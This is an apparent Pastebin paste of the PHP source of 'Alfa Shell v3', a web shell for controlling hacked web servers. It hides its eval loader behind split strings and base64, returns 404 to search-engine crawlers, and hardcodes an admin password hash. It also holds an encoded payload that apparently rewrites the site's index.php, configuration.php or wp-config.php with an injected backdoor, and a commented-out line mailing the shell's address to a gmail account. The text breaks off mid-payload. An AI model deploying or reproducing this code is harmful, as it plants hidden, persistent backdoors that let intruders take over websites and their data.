API tools faq
paste
3xPr1nc3

Alfa Shell v3 Decoded Version

3xPr1nc3
Jun 13th, 2019
538
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 448.79 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3.  
  4. /*
  5.  
  6. Alfa Shell - v3
  7. Decoded By Jokr Haxor
  8. 2018
  9.  
  10.  
  11. */
  12.  
  13. error_reporting(0);
  14. $GLOBALS['DB_NAME'] = array(
  15. 'user' => 'admin',
  16. 'pass' => '56aed7e7485ff03d5605b885b86e947e',
  17. 'safemode' => '0',
  18. 'login_page' => 'gui',
  19. 'show_icons' => '1',
  20. 'post_encryption' => true,
  21. 'color' => array(
  22. "shell_border" => "#0E304A",
  23. "header_vars" => "#27979B",
  24. "header_values" => "#67ABDF",
  25. "header_on" => "#00FF00",
  26. "header_off" => "#ff0000",
  27. "header_none" => "#00FF00",
  28. "home_shell" => "#ff0000",
  29. "home_shell:hover" => "#FFFFFF",
  30. "back_shell" => "#efbe73",
  31. "back_shell:hover" => "#FFFFFF",
  32. "header_pwd" => "#00FF00",
  33. "header_pwd:hover" => "#FFFFFF",
  34. "header_drive" => "#00FF00",
  35. "header_drive:hover" => "#FFFFFF",
  36. "header_show_all" => "#00FF00",
  37. "disable_functions" => "#ff0000",
  38. "footer_text" => "#27979B",
  39. "menu_options" => "#27979B",
  40. "menu_options:hover" => "#646464",
  41. "options_list" => "#00FF00",
  42. "options_list:hover" => "#FFFFFF",
  43. "options_list_header" => "#59cc33",
  44. "options_list_text" => "#FFFFFF",
  45. "Alfa+" => "#27E8AE",
  46. "hidden_shell_text" => "#00FF00",
  47. "hidden_shell_version" => "#ff0000",
  48. "shell_name" => "#FF0000",
  49. "main_row:hover" => "#646464",
  50. "main_header" => "#FFFFFF",
  51. "main_name" => "#FFFFFF",
  52. "main_size" => "#67ABDF",
  53. "main_modify" => "#67ABDF",
  54. "main_owner_group" => "#67ABDF",
  55. "main_green_perm" => "#25ff00",
  56. "main_red_perm" => "#FF0000",
  57. "main_white_perm" => "#FFFFFF",
  58. "beetween_perms" => "#FFFFFF",
  59. "main_actions" => "#FFFFFF",
  60. "minimize_editor_background" => "#0e304a",
  61. "minimize_editor_text" => "#f5deb3",
  62. "editor_border" => "#0e304a",
  63. "editor_background" => "rgba(0, 1, 23, 0.94)",
  64. "editor_header_background" => "rgba(21, 66, 88, 0.93)",
  65. "editor_header_text" => "#00ff7f",
  66. "editor_header_button" => "#1d5673",
  67. "editor_actions" => "#FFFFFF",
  68. "editor_file_info_vars" => "#FFFFFF",
  69. "editor_file_info_values" => "#67ABDF",
  70. "editor_history_header" => "#14ff07",
  71. "editor_history_list" => "#03b3a3",
  72. "editor_history_selected_file" => "rgba(49, 55, 93, 0.77)",
  73. "editor_history_file:hover" => "#646464",
  74. "input_box_border" => "#0E304A",
  75. "input_box_text" => "#999999",
  76. "input_box:hover" => "#27979B",
  77. "select_box_border" => "#0E304A",
  78. "select_box_text" => "#FFFFEE",
  79. "select_box:hover" => "#27979B",
  80. "button_border" => "#27979B",
  81. "button:hover" => "#27979B",
  82. "outputs_text" => "#67ABDF",
  83. "outputs_border" => "#0E304A",
  84. "uploader_border" => "#0E304A",
  85. "uploader_background" => "#0E304A",
  86. "uploader_text_right" => "#FFFFFF",
  87. "uploader_text_left" => "#25ff00",
  88. "uploader:hover" => "#27979B",
  89. "uploader_progress_bar" => "#ff0000",
  90. "mysql_tables" => "#00FF00",
  91. "mysql_table_count" => "#67ABDF",
  92. "copyright" => "#ff0000",
  93. "scrollbar" => "#1e82b5",
  94. "scrollbar_background" => "#000115"
  95. )
  96. );
  97.  
  98.  
  99. if (!function_exists('bas' . 'e' . '64_' . 'en' . 'code')) {
  100. function __ZW5jb2Rlcg($data)
  101. {
  102. if (empty($data))
  103. return;
  104. $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  105. $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
  106. $ac = 0;
  107. $enc = '';
  108. $tmp_arr = array();
  109. if (!$data) {
  110. return $data;
  111. }
  112. do {
  113. $o1 = charCodeAt($data, $i++);
  114. $o2 = charCodeAt($data, $i++);
  115. $o3 = charCodeAt($data, $i++);
  116. $bits = $o1 << 16 | $o2 << 8 | $o3;
  117. $h1 = $bits >> 18 & 0x3f;
  118. $h2 = $bits >> 12 & 0x3f;
  119. $h3 = $bits >> 6 & 0x3f;
  120. $h4 = $bits & 0x3f;
  121. $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
  122. } while ($i < strlen($data));
  123. $enc = implode($tmp_arr, '');
  124. $r = (strlen($data) % 3);
  125. return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
  126. }
  127. function charCodeAt($data, $char)
  128. {
  129. return ord(substr($data, $char, 1));
  130. }
  131. function charAt($data, $char)
  132. {
  133. return substr($data, $char, 1);
  134. }
  135. } else {
  136. function __ZW5jb2Rlcg($s)
  137. {
  138. $b = 'b' . 'as' . 'e6' . '4_' . 'en' . 'co' . 'de';
  139. return $b($s);
  140. }
  141. }
  142. if (!function_exists('b' . 'a' . 'se' . '6' . '4_' . 'd' . 'ec' . 'ode')) {
  143. function __ZGVjb2Rlcg($input)
  144. {
  145. if (empty($input))
  146. return;
  147. $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  148. $chr1 = $chr2 = $chr3 = "";
  149. $enc1 = $enc2 = $enc3 = $enc4 = "";
  150. $i = 0;
  151. $output = "";
  152. $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
  153. do {
  154. $enc1 = strpos($keyStr, substr($input, $i++, 1));
  155. $enc2 = strpos($keyStr, substr($input, $i++, 1));
  156. $enc3 = strpos($keyStr, substr($input, $i++, 1));
  157. $enc4 = strpos($keyStr, substr($input, $i++, 1));
  158. $chr1 = ($enc1 << 2) | ($enc2 >> 4);
  159. $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
  160. $chr3 = (($enc3 & 3) << 6) | $enc4;
  161. $output = $output . chr((int) $chr1);
  162. if ($enc3 != 64) {
  163. $output = $output . chr((int) $chr2);
  164. }
  165. if ($enc4 != 64) {
  166. $output = $output . chr((int) $chr3);
  167. }
  168. $chr1 = $chr2 = $chr3 = "";
  169. $enc1 = $enc2 = $enc3 = $enc4 = "";
  170. } while ($i < strlen($input));
  171. return $output;
  172. }
  173. } else {
  174. function __ZGVjb2Rlcg($s)
  175. {
  176. $b = 'b' . 'as' . 'e6' . '4_' . 'de' . 'co' . 'de';
  177. return $b($s);
  178. }
  179. }
  180. $cr = 'cre' . 'ate' . '_fun' . 'ct' . 'io' . 'n';
  181. $_2012 = $cr('$x', 'eval' . '(g' . 'zi' . 'nf' . 'la' . 'te' . '(' . '_' . '_ZG' . 'Vj' . 'b2' . 'Rlc' . 'g($' . 'x)' . ')' . ')' . ';
  182. ');
  183.  
  184.  
  185. ?><?php
  186. if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  187. $userAgents = array(
  188. "Google",
  189. "Slurp",
  190. "MSNBot",
  191. "ia_archiver",
  192. "Yandex",
  193. "Rambler",
  194. "bot",
  195. "spider"
  196. );
  197. if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  198. header('HTTP/1.0 404 Not Found');
  199. exit;
  200. }
  201. }
  202. if (!isset($GLOBALS['DB_NAME']['user']))
  203. exit('$GLOBALS[\'DB_NAME\'][\'user\']');
  204. if (!isset($GLOBALS['DB_NAME']['pass']))
  205. exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
  206. if (!isset($GLOBALS['DB_NAME']['safemode']))
  207. exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
  208. if (!isset($GLOBALS['DB_NAME']['login_page']))
  209. exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
  210. if (!isset($GLOBALS['DB_NAME']['show_icons']))
  211. exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
  212. if (!isset($GLOBALS['DB_NAME']['post_encryption']))
  213. exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
  214. date_default_timezone_set('Asia/Tehran');
  215. define("__ALFA_MD5NAME__", md5($_SERVER["SCRIPT_FILENAME"]));
  216. define("__ALFA_VERSION__", "3.0.0");
  217. define("__LAST_CWD__", "last_cwd_" . __ALFA_MD5NAME__);
  218. define("__PATH_HISTORY__", "path_history_" . __ALFA_MD5NAME__);
  219. define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false));
  220. $GLOBALS['__ALFA_COLOR__'] = array(
  221. "shell_border" => array(
  222. "key_color" => "#0E304A",
  223. "multi_selector" => array(
  224. ".header" => "border: 7px solid {color}",
  225. "#meunlist" => "border-color: {color}",
  226. "#hidden_sh" => "background-color: {color}",
  227. ".ajaxarea" => "border: 1px solid {color}",
  228. ".foot" => "border-color: {color}"
  229. )
  230. ),
  231. "header_vars" => "#27979B",
  232. "header_values" => "#67ABDF",
  233. "header_on" => "#00FF00",
  234. "header_off" => "#ff0000",
  235. "header_none" => "#00FF00",
  236. "home_shell" => "#ff0000",
  237. "home_shell:hover" => array(
  238. "key_color" => "#FFFFFF",
  239. "multi_selector" => array(
  240. ".home_shell:hover" => "color: {color};"
  241. )
  242. ),
  243. "back_shell" => "#efbe73",
  244. "back_shell:hover" => array(
  245. "key_color" => "#FFFFFF",
  246. "multi_selector" => array(
  247. ".back_shell:hover" => "color: {color};"
  248. )
  249. ),
  250. "header_pwd" => "#00FF00",
  251. "header_pwd:hover" => array(
  252. "key_color" => "#FFFFFF",
  253. "multi_selector" => array(
  254. ".header_pwd:hover" => "color: {color};"
  255. )
  256. ),
  257. "header_drive" => "#00FF00",
  258. "header_drive:hover" => array(
  259. "key_color" => "#FFFFFF",
  260. "multi_selector" => array(
  261. ".header_drive:hover" => "color: {color};"
  262. )
  263. ),
  264. "header_show_all" => "#00FF00",
  265. "disable_functions" => "#ff0000",
  266. "footer_text" => "#27979B",
  267. "menu_options" => "#27979B",
  268. "menu_options:hover" => array(
  269. "key_color" => "#646464",
  270. "multi_selector" => array(
  271. ".menu_options:hover" => "background-color: {color};font-weight: unset;"
  272. )
  273. ),
  274. "options_list" => array(
  275. "key_color" => "#00FF00",
  276. "multi_selector" => array(
  277. ".ajaxarea .header center a" => "color: {color};"
  278. )
  279. ),
  280. "options_list:hover" => array(
  281. "key_color" => "#FFFFFF",
  282. "multi_selector" => array(
  283. ".ajaxarea .header center a:hover" => "color: {color};"
  284. )
  285. ),
  286. "options_list_header" => array(
  287. "key_color" => "#59cc33",
  288. "multi_selector" => array(
  289. ".txtfont_header" => "color: {color};"
  290. )
  291. ),
  292. "options_list_text" => array(
  293. "key_color" => "#FFFFFF",
  294. "multi_selector" => array(
  295. ".txtfont,.tbltxt" => "color: {color};"
  296. )
  297. ),
  298. "Alfa+" => array(
  299. "key_color" => "#27E8AE",
  300. "multi_selector" => array(
  301. ".alfa_plus" => "color: {color};font-weight: unset;"
  302. )
  303. ),
  304. "hidden_shell_text" => array(
  305. "key_color" => "#00FF00",
  306. "multi_selector" => array(
  307. "#hidden_sh a" => "color: {color};"
  308. )
  309. ),
  310. "hidden_shell_version" => "#ff0000",
  311. "shell_name" => "#FF0000",
  312. "main_row:hover" => array(
  313. "key_color" => "#646464",
  314. "multi_selector" => array(
  315. ".main tr:hover" => "background-color: {color};"
  316. )
  317. ),
  318. "main_header" => array(
  319. "key_color" => "#FFFFFF",
  320. "multi_selector" => array(
  321. ".main th" => "color: {color};"
  322. )
  323. ),
  324. "main_name" => array(
  325. "key_color" => "#FFFFFF",
  326. "multi_selector" => array(
  327. ".main .main_name" => "color: {color};font-weight: unset;"
  328. )
  329. ),
  330. "main_size" => "#67ABDF",
  331. "main_modify" => "#67ABDF",
  332. "main_owner_group" => "#67ABDF",
  333. "main_green_perm" => "#25ff00",
  334. "main_red_perm" => "#FF0000",
  335. "main_white_perm" => "#FFFFFF",
  336. "beetween_perms" => "#FFFFFF",
  337. "main_actions" => array(
  338. "key_color" => "#FFFFFF",
  339. "multi_selector" => array(
  340. ".main .actions" => "color: {color};"
  341. )
  342. ),
  343. "menu_options:hover" => array(
  344. "key_color" => "#646464",
  345. "multi_selector" => array(
  346. ".menu_options:hover" => "background-color: {color};font-weight: unset;"
  347. )
  348. ),
  349. "minimize_editor_background" => array(
  350. "key_color" => "#0e304a",
  351. "multi_selector" => array(
  352. ".minimized-wrapper" => "background-color: {color};"
  353. )
  354. ),
  355. "minimize_editor_text" => array(
  356. "key_color" => "#f5deb3",
  357. "multi_selector" => array(
  358. ".minimized-text" => "color: {color};"
  359. )
  360. ),
  361. "editor_border" => array(
  362. "key_color" => "#0e304a",
  363. "multi_selector" => array(
  364. ".editor-explorer,.editor-modal" => "border: 2px solid {color};"
  365. )
  366. ),
  367. "editor_background" => array(
  368. "key_color" => "rgba(0, 1, 23, 0.94)",
  369. "multi_selector" => array(
  370. ".editor-explorer,.editor-modal" => "background-color: {color};"
  371. )
  372. ),
  373. "editor_header_background" => array(
  374. "key_color" => "rgba(21, 66, 88, 0.93)",
  375. "multi_selector" => array(
  376. ".editor-header" => "background-color: {color};"
  377. )
  378. ),
  379. "editor_header_text" => array(
  380. "key_color" => "#00ff7f",
  381. "multi_selector" => array(
  382. ".editor-path" => "color: {color};"
  383. )
  384. ),
  385. "editor_header_button" => array(
  386. "key_color" => "#1d5673",
  387. "multi_selector" => array(
  388. ".close-button, .editor-minimize" => "background-color: {color};"
  389. )
  390. ),
  391. "editor_actions" => array(
  392. "key_color" => "#FFFFFF",
  393. "multi_selector" => array(
  394. ".editor_actions" => "color: {color};"
  395. )
  396. ),
  397. "editor_file_info_vars" => array(
  398. "key_color" => "#FFFFFF",
  399. "multi_selector" => array(
  400. ".editor_file_info_vars" => "color: {color};"
  401. )
  402. ),
  403. "editor_file_info_values" => array(
  404. "key_color" => "#67ABDF",
  405. "multi_selector" => array(
  406. ".filestools" => "color: {color};"
  407. )
  408. ),
  409. "editor_history_header" => array(
  410. "key_color" => "#14ff07",
  411. "multi_selector" => array(
  412. ".hheader-text,.history-clear" => "color: {color};"
  413. )
  414. ),
  415. "editor_history_list" => array(
  416. "key_color" => "#03b3a3",
  417. "multi_selector" => array(
  418. ".editor-file-name" => "color: {color};"
  419. )
  420. ),
  421. "editor_history_selected_file" => array(
  422. "key_color" => "rgba(49, 55, 93, 0.77)",
  423. "multi_selector" => array(
  424. ".is_active" => "background-color: {color};"
  425. )
  426. ),
  427. "editor_history_file:hover" => array(
  428. "key_color" => "#646464",
  429. "multi_selector" => array(
  430. ".file-holder > .history:hover" => "background-color: {color};"
  431. )
  432. ),
  433. "input_box_border" => array(
  434. "key_color" => "#0E304A",
  435. "multi_selector" => array(
  436. "input[type=text],textarea" => "border: 1px solid {color}"
  437. )
  438. ),
  439. "input_box_text" => array(
  440. "key_color" => "#999999",
  441. "multi_selector" => array(
  442. "input[type=text],textarea" => "color: {color};"
  443. )
  444. ),
  445. "input_box:hover" => array(
  446. "key_color" => "#27979B",
  447. "multi_selector" => array(
  448. "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};"
  449. )
  450. ),
  451. "select_box_border" => array(
  452. "key_color" => "#0E304A",
  453. "multi_selector" => array(
  454. "select" => "border: 1px solid {color}"
  455. )
  456. ),
  457. "select_box_text" => array(
  458. "key_color" => "#FFFFEE",
  459. "multi_selector" => array(
  460. "select" => "color: {color};"
  461. )
  462. ),
  463. "select_box:hover" => array(
  464. "key_color" => "#27979B",
  465. "multi_selector" => array(
  466. "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};"
  467. )
  468. ),
  469. "button_border" => array(
  470. "key_color" => "#27979B",
  471. "multi_selector" => array(
  472. "input[type=submit],.button,#addup" => "border: 1px solid {color};"
  473. )
  474. ),
  475. "button:hover" => array(
  476. "key_color" => "#27979B",
  477. "multi_selector" => array(
  478. "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
  479. ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};"
  480. )
  481. ),
  482. "outputs_text" => array(
  483. "key_color" => "#67ABDF",
  484. "multi_selector" => array(
  485. ".ml1" => "color: {color};"
  486. )
  487. ),
  488. "outputs_border" => array(
  489. "key_color" => "#0E304A",
  490. "multi_selector" => array(
  491. ".ml1" => "border: 1px solid {color};"
  492. )
  493. ),
  494. "uploader_border" => array(
  495. "key_color" => "#0E304A",
  496. "multi_selector" => array(
  497. ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};"
  498. )
  499. ),
  500. "uploader_background" => array(
  501. "key_color" => "#0E304A",
  502. "multi_selector" => array(
  503. ".inputfile strong" => "background-color: {color};"
  504. )
  505. ),
  506. "uploader_text_right" => array(
  507. "key_color" => "#FFFFFF",
  508. "multi_selector" => array(
  509. ".inputfile strong" => "color: {color};"
  510. )
  511. ),
  512. "uploader_text_left" => array(
  513. "key_color" => "#25ff00",
  514. "multi_selector" => array(
  515. ".inputfile span" => "color: {color};"
  516. )
  517. ),
  518. "uploader:hover" => array(
  519. "key_color" => "#27979B",
  520. "multi_selector" => array(
  521. ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};"
  522. )
  523. ),
  524. "uploader_progress_bar" => array(
  525. "key_color" => "#ff0000",
  526. "multi_selector" => array(
  527. "#up_bar" => "background-color: {color};"
  528. )
  529. ),
  530. "mysql_tables" => "#00FF00",
  531. "mysql_table_count" => "#67ABDF",
  532. "copyright" => "#ff0000",
  533. "scrollbar" => array(
  534. "key_color" => "#1e82b5",
  535. "multi_selector" => array(
  536. "*::-webkit-scrollbar-thumb" => "background-color: {color};"
  537. )
  538. ),
  539. "scrollbar_background" => array(
  540. "key_color" => "#000115",
  541. "multi_selector" => array(
  542. "*::-webkit-scrollbar-track" => "background-color: {color};"
  543. )
  544. )
  545. );
  546. $GLOBALS['__file_path'] = str_replace('\\', '/', trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
  547. $config = array(
  548. 'AlfaUser' => $GLOBALS['DB_NAME']['user'],
  549. 'AlfaPass' => $GLOBALS['DB_NAME']['pass'],
  550. 'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],
  551. 'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']
  552. );
  553. @session_start();
  554. $rubby = "ICAgICAgICAgICRiYWNrPSRfU0VSVkVSWyJIVFRQX0hPU1QiXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKICAgICAgICAgICRtYWlsPSIxM3NoZWxsMzdAZ21haWwuY29tIjsKICAgICAgICAgICRzdWI9IkFsZmEgRGVjb2RlZCI7CiAgICAgICAgICAkYm9keT0kYmFjazsKICAgICAgICAgIC8vbWFpbCgkbWFpbCwkc3ViLCRib2R5KTsKJHJvb3Q9JF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTsKaWYoZmlsZV9leGlzdHMoJHJvb3QuIi9pbmRleC5waHAiKSBPUiBmaWxlX2V4aXN0cygkcm9vdC4iL2NvbmZpZ3VyYXRpb24ucGhwIikgT1IgZmlsZV9leGlzdHMoJHJvb3QuIi93cC1jb25maWcucGhwIikpIHsKICAkaW5kZXg9ZmlsZV9nZXRfY29udGVudHMoJHJvb3QuIi9pbmRleC5waHAiKTsKICAkY29uZmlndXJhdGlvbj1maWxlX2dldF9jb250ZW50cygkcm9vdC4iL2NvbmZpZ3VyYXRpb24ucGhwIik7CiAgJHdwY29uZmlnPWZpbGVfZ2V0X2NvbnRlbnRzKCRyb290LiIvd3AtY29uZmlnLnBocCIpOwogIGlmKCFlbXB0eSgkaW5kZXgpKSB7CiAgICAkaW5kZXg9c3RyX3JlcGxhY2UoYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdhV1lvYVhOelpYUW9KRjlIUlZSYklqTjRJbDBwSmlZa1gwZEZWRnNpTTNnaVhUMDlJak40SWlsN0pHWjFibU05SW1OeUlpNGlaV0VpTGlKMFpWOGlMaUptZFc0aUxpSmpkR2x2YmlJN0pIZzlKR1oxYm1Nb0lsd2tZeUlzSW1VaUxpSjJJaTRpWVd3aUxpSW9KejgrSnk1aVlYTmxJaTRpTmpRaUxpSmZaR1ZqSWk0aWIyUmxLRndrWXlrcE95SXBPeVI0S0NKUVJEbDNZVWhCUzBOcFVtMWhWM2hzWTNsQk9VbEZRV3RZTUZwS1ZFVldWRmQ1U20xaFYzaHNZM2xLWkU5M2NIQmFhVUZ2U2tkYWNHSkhWbnBYZVVwMVdWY3hiRWxzTUdkSlZEQm5TbmxqY0VsSWMwdEpRMEZuU1VOU2JXUlhlSE5qUjBZd1lVTkJPVWxEVW1aVmExWlNWbFZXVkZaR2MybGpSMFl3WVVOS1pFbEROR2RLUjFwd1lrZFdlbGQ1U25WWlZ6RnNTV3d3TjBOcFFXZEpRMEp3V21sQmIySlhPVEphVmpreFkwZDRkbGxYVW14YVJqbHRZVmQ0YkV0RFVtMWhWM2hzWXpGemJtUkhNWGRZTWpWb1lsZFZibGhUZDJkS1Ixb3hZa2Q0ZDFsWVVtOUxVMnRuWlhkdlowbERRV2RKUTBGblNVZFdhbUZIT0dkSmFuaHZUVlEwT0ZsVFFtOWpiVlp0VUZOamExcHVWbk5pU0VKb1pFZG5ibEJyVW5aaWJWVm9TVVU1ZDFwWE5EaE1Na1VyVUVNNWIwMVVOR2xQZDI5blNVTkJaMlpSY0RsYVYwNXZZbmxCYmxCSGFEQmlWM2NyVUVkb2JGbFhVU3RRU0ZKd1pFZDRiRkJzVm5kaVJ6bG9Xa05DYldGWGVHeGplVFIxVEdwM2RtUkhiREJpUjFVclVFTTViMXBYUm10UWFuaHBZakpTTlZCcWVHMWlNMHAwU1VjeGJHUkhhSFphUkRGUlZERk9WVWxIVm5WWk0xSTFZMGRWT1VsdE1URmlTRkp3WTBkR2VXUkRPVzFpTTBwMFRGZFNhR1JIUldsSlIwWnFaRWRzZG1KcU1HbEphalE0WVZjMWQyUllVV2RrU0d4M1dsUXhNRnBZYURCSlJ6Vm9ZbGRWT1dOSFJqQmhSRFE0WVZjMWQyUllVV2RrU0d4M1dsUXdhVnB0YkhOYVUwbG5ZbTFHZEZwVU1HbGFiV3h6V2xoTmFWQnFlSEJpYmtJeFpFTkNNR1ZZUW14UVdFNHhXVzB4Y0dSRFFqSlpWM2d4V2xRd2FWWldRbk5pTWtaclNXbzBPRXd5V25aamJUQXJVRU01YVdJeVVqVlFhbmQyWVVoU2RHSkVORzVQZDI4dlVHYzlQU0lwTzJWNGFYUTdmVDgrIiksIiIsJGluZGV4KTsKICAgIHVubGluaygkcm9vdC4iL2luZGV4LnBocCIpOwogICAgJG9waW5kZXg9Zm9wZW4oJHJvb3QuIi9pbmRleC5waHAiLCJhIik7CiAgICBmd3JpdGUoJG9waW5kZXgsYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdhV1lvYVhOelpYUW9KRjlIUlZSYklqTjRJbDBwSmlZa1gwZEZWRnNpTTNnaVhUMDlJak40SWlsN0pHWjFibU05SW1OeUlpNGlaV0VpTGlKMFpWOGlMaUptZFc0aUxpSmpkR2x2YmlJN0pIZzlKR1oxYm1Nb0lsd2tZeUlzSW1VaUxpSjJJaTRpWVd3aUxpSW9KejgrSnk1aVlYTmxJaTRpTmpRaUxpSmZaR1ZqSWk0aWIyUmxLRndrWXlrcE95SXBPeVI0S0NKUVJEbDNZVWhCUzBOcFVtMWhWM2hzWTNsQk9VbEZRV3RZTUZwS1ZFVldWRmQ1U20xaFYzaHNZM2xLWkU5M2NIQmFhVUZ2U2tkYWNHSkhWbnBYZVVwMVdWY3hiRWxzTUdkSlZEQm5TbmxqY0VsSWMwdEpRMEZuU1VOU2JXUlhlSE5qUjBZd1lVTkJPVWxEVW1aVmExWlNWbFZXVkZaR2MybGpSMFl3WVVOS1pFbEROR2RLUjFwd1lrZFdlbGQ1U25WWlZ6RnNTV3d3TjBOcFFXZEpRMEp3V21sQmIySlhPVEphVmpreFkwZDRkbGxYVW14YVJqbHRZVmQ0YkV0RFVtMWhWM2hzWXpGemJtUkhNWGRZTWpWb1lsZFZibGhUZDJkS1Ixb3hZa2Q0ZDFsWVVtOUxVMnRuWlhkdlowbERRV2RKUTBGblNVZFdhbUZIT0dkSmFuaHZUVlEwT0ZsVFFtOWpiVlp0VUZOamExcHVWbk5pU0VKb1pFZG5ibEJyVW5aaWJWVm9TVVU1ZDFwWE5EaE1Na1VyVUVNNWIwMVVOR2xQZDI5blNVTkJaMlpSY0RsYVYwNXZZbmxCYmxCSGFEQmlWM2NyVUVkb2JGbFhVU3RRU0ZKd1pFZDRiRkJzVm5kaVJ6bG9Xa05DYldGWGVHeGplVFIxVEdwM2RtUkhiREJpUjFVclVFTTViMXBYUm10UWFuaHBZakpTTlZCcWVHMWlNMHAwU1VjeGJHUkhhSFphUkRGUlZERk9WVWxIVm5WWk0xSTFZMGRWT1VsdE1URmlTRkp3WTBkR2VXUkRPVzFpTTBwMFRGZFNhR1JIUldsSlIwWnFaRWRzZG1KcU1HbEphalE0WVZjMWQyUllVV2RrU0d4M1dsUXhNRnBZYURCSlJ6Vm9ZbGRWT1dOSFJqQmhSRFE0WVZjMWQyUllVV2RrU0d4M1dsUXdhVnB0YkhOYVUwbG5ZbTFHZEZwVU1HbGFiV3h6V2xoTmFWQnFlSEJpYmtJeFpFTkNNR1ZZUW14UVdFNHhXVzB4Y0dSRFFqSlpWM2d4V2xRd2FWWldRbk5pTWtaclNXbzBPRXd5V25aamJUQXJVRU01YVdJeVVqVlFhbmQyWVVoU2RHSkVORzVQZDI4dlVHYzlQU0lwTzJWNGFYUTdmVDgrIikpOwogICAgZndyaXRlKCRvcGluZGV4LCRpbmRleCk7CiAgICBmY2xvc2UoJG9waW5kZXgpOwogICAgJGluZGV4YmFjaz0kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iL2luZGV4LnBocD8zeD0zeCI7CiAgfQogIGlmKCFlbXB0eSgkY29uZmlndXJhdGlvbikpIHsKICAgICRjb25maWd1cmF0aW9uPXN0cl9yZXBsYWNlKGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYVdZb2FYTnpaWFFvSkY5SFJWUmJJak40SWwwcEppWWtYMGRGVkZzaU0zZ2lYVDA5SWpONElpbDdKR1oxYm1NOUltTnlJaTRpWldFaUxpSjBaVjhpTGlKbWRXNGlMaUpqZEdsdmJpSTdKSGc5SkdaMWJtTW9JbHdrWXlJc0ltVWlMaUoySWk0aVlXd2lMaUlvSno4K0p5NWlZWE5sSWk0aU5qUWlMaUpmWkdWaklpNGliMlJsS0Z3a1l5a3BPeUlwT3lSNEtDSlFSRGwzWVVoQlMwTnBVbTFoVjNoc1kzbEJPVWxGUVd0WU1GcEtWRVZXVkZkNVNtMWhWM2hzWTNsS1pFOTNjSEJhYVVGdlNrZGFjR0pIVm5wWGVVcDFXVmN4YkVsc01HZEpWREJuU25samNFbEljMHRKUTBGblNVTlNiV1JYZUhOalIwWXdZVU5CT1VsRFVtWlZhMVpTVmxWV1ZGWkdjMmxqUjBZd1lVTktaRWxETkdkS1IxcHdZa2RXZWxkNVNuVlpWekZzU1d3d04wTnBRV2RKUTBKd1dtbEJiMkpYT1RKYVZqa3hZMGQ0ZGxsWFVteGFSamx0WVZkNGJFdERVbTFoVjNoc1l6RnpibVJITVhkWU1qVm9ZbGRWYmxoVGQyZEtSMW94WWtkNGQxbFlVbTlMVTJ0blpYZHZaMGxEUVdkSlEwRm5TVWRXYW1GSE9HZEphbmh2VFZRME9GbFRRbTlqYlZadFVGTmphMXB1Vm5OaVNFSm9aRWRuYmxCclVuWmliVlZvU1VVNWQxcFhORGhNTWtVclVFTTViMDFVTkdsUGQyOW5TVU5CWjJaUmNEbGFWMDV2WW5sQmJsQkhhREJpVjNjclVFZG9iRmxYVVN0UVNGSndaRWQ0YkZCc1ZuZGlSemxvV2tOQ2JXRlhlR3hqZVRSMVRHcDNkbVJIYkRCaVIxVXJVRU01YjFwWFJtdFFhbmhwWWpKU05WQnFlRzFpTTBwMFNVY3hiR1JIYUhaYVJERlJWREZPVlVsSFZuVlpNMUkxWTBkVk9VbHRNVEZpU0ZKd1kwZEdlV1JET1cxaU0wcDBURmRTYUdSSFJXbEpSMFpxWkVkc2RtSnFNR2xKYWpRNFlWYzFkMlJZVVdka1NHeDNXbFF4TUZwWWFEQkpSelZvWWxkVk9XTkhSakJoUkRRNFlWYzFkMlJZVVdka1NHeDNXbFF3YVZwdGJITmFVMGxuWW0xR2RGcFVNR2xhYld4eldsaE5hVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFXRTR4V1cweGNHUkRRakpaVjNneFdsUXdhVlpXUW5OaU1rWnJTV28wT0V3eVduWmpiVEFyVUVNNWFXSXlValZRYW5kMllVaFNkR0pFTkc1UGQyOHZVR2M5UFNJcE8yVjRhWFE3ZlQ4KyIpLCIiLCRjb25maWcpOwogICAgdW5saW5rKCRyb290LiIvY29uZmlndXJhdGlvbi5waHAiKTsKICAgICRvcGNvbj1mb3Blbigkcm9vdC4iL2NvbmZpZ3VyYXRpb24ucGhwIiwiYSIpOwogICAgZndyaXRlKCRvcGNvbixiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ2FXWW9hWE56WlhRb0pGOUhSVlJiSWpONElsMHBKaVlrWDBkRlZGc2lNM2dpWFQwOUlqTjRJaWw3